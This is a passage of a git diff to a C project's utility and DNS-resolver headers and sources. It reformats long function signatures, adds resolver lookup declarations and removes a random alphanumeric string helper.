+ mbedtls_ctr_drbg_context *ctr_drbg,
+ const prne_resolv_ns_pool_t pool_v4,
+ const prne_resolv_ns_pool_t pool_v6);
+bool prne_resolv_prm_gethostbyname (
+ prne_resolv_t *ctx,
+ const char *name,
+ const prne_ipv_t ipv,
+ prne_pth_cv_t *cv,
+ prne_resolv_prm_t *out);
+bool prne_resolv_prm_gettxtrec (
+ prne_resolv_t *ctx,
+ const char *name,
+ prne_pth_cv_t *cv,
+ prne_resolv_prm_t *out);
void prne_resolv_init_ns_pool (prne_resolv_ns_pool_t *pool);
void prne_resolv_free_ns_pool (prne_resolv_ns_pool_t *pool);
bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt);
-prne_resolv_ns_pool_t prne_resolv_own_ns_pool(const prne_resolv_ns_pool_t *pool, const bool ownership);
+prne_resolv_ns_pool_t prne_resolv_own_ns_pool(
+ const prne_resolv_ns_pool_t *pool,
+ const bool ownership);
void prne_resolv_init_prm (prne_resolv_prm_t *prm);
void prne_resolv_free_prm (prne_resolv_prm_t *prm);
void prne_init_resolv_fut (prne_resolv_fut_t *fut);
diff --git a/src/util_ct.h b/src/util_ct.h
index 767606a..bc3492b 100644
--- a/src/util_ct.h
+++ b/src/util_ct.h
@@ -20,8 +20,10 @@
#define prne_op_max(a, b) ((a) > (b) ? (a) : (b))
#define prne_op_spaceship(a, b) ((a) == (b) ? 0 : (a) < (b) ? -1 : 1)
-#define prne_salign_next(x, align) (((x) % (align) == 0) ? (x) : ((x) / (align) + 1) * (align))
-#define prne_salign_at(x, align) (((x) % (align) == 0) ? (x) : ((x) / (align)) * (align))
+#define prne_salign_next(x, align) \
+ (((x) % (align) == 0) ? (x) : ((x) / (align) + 1) * (align))
+#define prne_salign_at(x, align) \
+ (((x) % (align) == 0) ? (x) : ((x) / (align)) * (align))
#if PRNE_DEBUG
#define prne_dbgpf(...) fprintf(stderr, __VA_ARGS__)
diff --git a/src/util_rt.c b/src/util_rt.c
index 549ac4f..f60f48a 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -157,28 +157,6 @@ size_t prne_nstrlen (const char *s) {
return s == NULL ? 0 : strlen(s);
}
-void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len) {
- static const char SET[] = { 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' };
- size_t i = 0;
- uint32_t n;
-
- if (len >= 4) {
- for (; i < len / 4 * 4; i += 4) {
- mbedtls_ctr_drbg_random(rnd, (uint8_t*)&n, sizeof(n));
- str[i + 0] = SET[((uint8_t*)&n)[0] % sizeof(SET)];
- str[i + 1] = SET[((uint8_t*)&n)[1] % sizeof(SET)];
- str[i + 2] = SET[((uint8_t*)&n)[2] % sizeof(SET)];
- str[i + 3] = SET[((uint8_t*)&n)[3] % sizeof(SET)];
- }
- }
- if (i < len) {
- mbedtls_ctr_drbg_random(rnd, (uint8_t*)&n, sizeof(n));
- for (; i < len; i += 1) {
- str[i] = SET[((uint8_t*)&n)[i % 4] % sizeof(SET)];
- }
- }
-}
-
char *prne_strnchr (const char *p, const char c, const size_t n) {
size_t i;
@@ -427,7 +405,10 @@ struct timespec prne_add_timespec (
return ret;
}
-struct timespec prne_sub_timespec (const struct timespec a, const struct timespec b) {
+struct timespec prne_sub_timespec (
+ const struct timespec a,
+ const struct timespec b)
+{
struct timespec ret;
if (a.tv_nsec < b.tv_nsec) {
@@ -466,11 +447,17 @@ int prne_cmp_timespec (const struct timespec a, const struct timespec b) {
return a.tv_nsec < b.tv_nsec ? -1 : a.tv_nsec > b.tv_nsec ? 1 : 0;
}
-struct timespec prne_min_timespec (const struct timespec a, const struct timespec b) {
+struct timespec prne_min_timespec (
+ const struct timespec a,
+ const struct timespec b)
+{
return prne_cmp_timespec(a, b) < 0 ? a : b;
}
-struct timespec prne_max_timespec (const struct timespec a, const struct timespec b) {
+struct timespec prne_max_timespec (
+ const struct timespec a,
+ const struct timespec b)
+{
return prne_cmp_timespec(a, b) > 0 ? a : b;
}
@@ -507,7 +494,13 @@ char *prne_enc_base64_mem (const uint8_t *data, const size_t size) {
return NULL;
}
- if (mbedtls_base64_encode((uint8_t*)ret, ret_size, &ret_size, data, size) < 0) {
+ if (mbedtls_base64_encode(
+ (uint8_t*)ret,
+ ret_size,
+ &ret_size,
+ data,
+ size) < 0)
+ {
prne_free(ret);
return NULL;
}
@@ -515,7 +508,12 @@ char *prne_enc_base64_mem (const uint8_t *data, const size_t size) {
return ret;
}
-bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size) {
+bool prne_dec_base64_mem (
+ const char *str,
+ const size_t str_len,
+ uint8_t **data,
+ size_t *size)
+{
size_t ret_size;
uint8_t *ret;
@@ -530,7 +528,13 @@ bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data,
return false;
}
- if (mbedtls_base64_decode(ret, ret_size, &ret_size, (uint8_t*)str, str_len) < 0) {
+ if (mbedtls_base64_decode(
+ ret,
+ ret_size,
+ &ret_size,
+ (uint8_t*)str,
+ str_len) < 0)
+ {
prne_free(ret);
errno = EINVAL;
return false;
diff --git a/src/util_rt.h b/src/util_rt.h
index f0e4ffe..8953915 100644
--- a/src/util_rt.h
+++ b/src/util_rt.h
@@ -39,7 +39,6 @@ bool prne_own_realloc (
bool prne_nstreq (const char *a, const char *b);
size_t prne_nstrlen (const char *s);
-void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len);
char *prne_strnchr (const char *p, const char c, const size_t n);
size_t prne_str_shift_spaces (char *str, const size_t len);
void prne_transstr (char *str, int(*trans_f)(int));
@@ -67,20 +66,32 @@ void prne_hex_tochar (const uint_fast8_t in, char *out, const bool upper);
bool prne_uuid_fromstr (const char *str, uint8_t *out);
void prne_uuid_tostr (const uint8_t *in, char *out);
-struct timespec prne_add_timespec (const struct timespec a, const struct timespec b);
-struct timespec prne_sub_timespec (const struct timespec a, const struct timespec b);
+struct timespec prne_add_timespec (
+ const struct timespec a,
+ const struct timespec b);
+struct timespec prne_sub_timespec (
+ const struct timespec a,
+ const struct timespec b);
double prne_real_timespec (const struct timespec ts);
struct timespec prne_ms_timespec (const long ms);
int prne_cmp_timespec (const struct timespec a, const struct timespec b);
-struct timespec prne_min_timespec (const struct timespec a, const struct timespec b);
-struct timespec prne_max_timespec (const struct timespec a, const struct timespec b);
+struct timespec prne_min_timespec (
+ const struct timespec a,
+ const struct timespec b);
+struct timespec prne_max_timespec (
+ const struct timespec a,
+ const struct timespec b);
struct timespec prne_gettime (const clockid_t cid);
struct timeval prne_ts2tv (const struct timespec ts);
struct timeval prne_ms_timeval (const long ms);
char *prne_enc_base64_mem (const uint8_t *data, const size_t size);
-bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size);
+bool prne_dec_base64_mem (
+ const char *str,
+ const size_t str_len,
+ uint8_t **data,
+ size_t *size);
// getrandom polyfill
ssize_t prne_geturandom (void *buf, const size_t len);